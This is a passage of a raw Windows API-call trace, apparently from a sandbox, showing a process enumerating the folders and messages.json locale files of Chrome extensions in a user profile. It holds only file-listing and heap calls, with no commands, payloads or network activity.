ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.825] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.825] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.825] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.826] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.826] GetProcessHeap () returned 0x550000 [0272.826] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.826] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0272.826] GetProcessHeap () returned 0x550000 [0272.826] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.906] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.906] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.906] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.907] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.907] GetProcessHeap () returned 0x550000 [0272.907] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.907] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0272.907] GetProcessHeap () returned 0x550000 [0272.907] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.907] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.908] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.908] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.908] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.908] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.908] GetProcessHeap () returned 0x550000 [0272.908] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.908] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0272.908] GetProcessHeap () returned 0x550000 [0272.908] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.910] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.910] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.910] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.910] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.910] GetProcessHeap () returned 0x550000 [0272.910] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.910] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0272.910] GetProcessHeap () returned 0x550000 [0272.910] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.911] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.911] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.911] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.911] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.911] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.911] GetProcessHeap () returned 0x550000 [0272.911] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.911] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0272.911] GetProcessHeap () returned 0x550000 [0272.911] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.911] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.913] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.913] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87016300, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.913] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87016300, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.913] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.914] GetProcessHeap () returned 0x550000 [0272.914] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.914] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0272.914] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0272.914] GetProcessHeap () returned 0x550000 [0272.914] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0272.914] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0272.914] GetProcessHeap () returned 0x550000 [0272.914] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0272.914] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0272.914] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.914] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87016300, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0x2bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1 [0272.915] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87016300, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0x2bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0 [0272.915] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0272.915] GetProcessHeap () returned 0x550000 [0272.915] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0272.915] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0 [0272.915] FindClose (in: hFindFile=0x6399c8 | out: hFindFile=0x6399c8) returned 1 [0272.915] GetProcessHeap () returned 0x550000 [0272.915] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0272.915] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x871928f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14.1_0", cAlternateFileName="")) returned 0 [0272.915] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0272.916] GetProcessHeap () returned 0x550000 [0272.916] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0272.916] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="blpcfgokakmgnkcojhhkbfbldkacnbeo", cAlternateFileName="BLPCFG~1")) returned 1 [0272.916] GetProcessHeap () returned 0x550000 [0272.916] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0272.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0272.916] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, 